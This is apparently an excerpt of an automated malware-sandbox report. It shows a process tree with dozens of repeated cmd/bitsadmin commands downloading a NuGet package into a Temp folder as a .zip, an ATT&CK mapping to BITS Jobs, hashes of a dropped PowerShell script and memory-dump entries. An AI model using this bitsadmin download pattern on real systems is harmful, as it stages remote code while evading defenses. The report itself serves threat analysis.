        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1624
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1148
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1552
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1696
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1372
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1996
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1580
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1820
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:392
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1568
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1908
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:888
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:2024
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1072
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1040
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1252
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1012
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1740
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1076
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1112
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:768
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:2032
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1680
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1576
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1488
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1560
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1092
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1372
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1832
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:984
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1044
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1824
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1684
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1112
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1484
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:856
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1576
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1080
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1664
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1912
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:896
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:2020
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:860
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:656
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1060
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1544
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:856
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1696
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1948
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1572
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1624
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1688
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:2020
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:896
  - - C:\Windows\SysWOW64\find.exe
      find /v ""
      4⤵
      PID:1604

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\CPZgH.ps1

MD5
41098cf8ee90d670a6c15f336e7b872a

SHA1
6e2b63d4fa54f267f11cb6f902d19681a2a28aa8

SHA256
479ee4ba07fad64600963236931134cc27745d20841dc23d9f4dd0863fa84aaf

SHA512
d4d6b733c96bd3d4ad9eafbf7401f74861c9be68eeb57c0bba9696e97a929cfc81606a4ebbee92f874e82d2ee45ee44158f0d924dc403a08cb035728aac0275a

Download Submit
memory/1092-55-0x0000000001F40000-0x0000000001F6F000-memory.dmp

Filesize
188KB

Download
memory/1648-58-0x0000000076121000-0x0000000076123000-memory.dmp

Filesize
8KB

Download
memory/1648-61-0x0000000002410000-0x000000000305A000-memory.dmp

Filesize
12.3MB

Download
memory/1872-54-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1872-56-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download